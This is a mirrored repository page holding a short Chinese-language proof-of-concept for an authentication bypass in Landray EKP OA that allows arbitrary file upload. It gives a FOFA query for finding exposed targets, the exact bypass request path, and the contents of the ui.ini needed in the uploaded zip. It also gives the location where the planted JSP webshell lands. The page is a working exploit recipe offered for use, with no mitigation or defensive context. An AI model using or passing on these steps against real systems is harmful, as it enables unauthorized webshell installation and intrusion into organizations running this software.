admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-05 10:17:57 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/蓝凌OA/蓝凌EKP前台授权绕过导致文件上传.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

711 B
Raw Blame History

蓝凌EKP前台授权绕过导致文件上传

fofa

app="Landray-OA系统"

访问路径/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload其中路径需要api后面需要///不能变。

poc

/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload

image

文件上传

然后上传zip包需要有ui.ini文件内容如下

id=ZzzZname=testthumb=test

image

image

马会在/resource/ui-ext/ZzzZ/jmdyy.jsp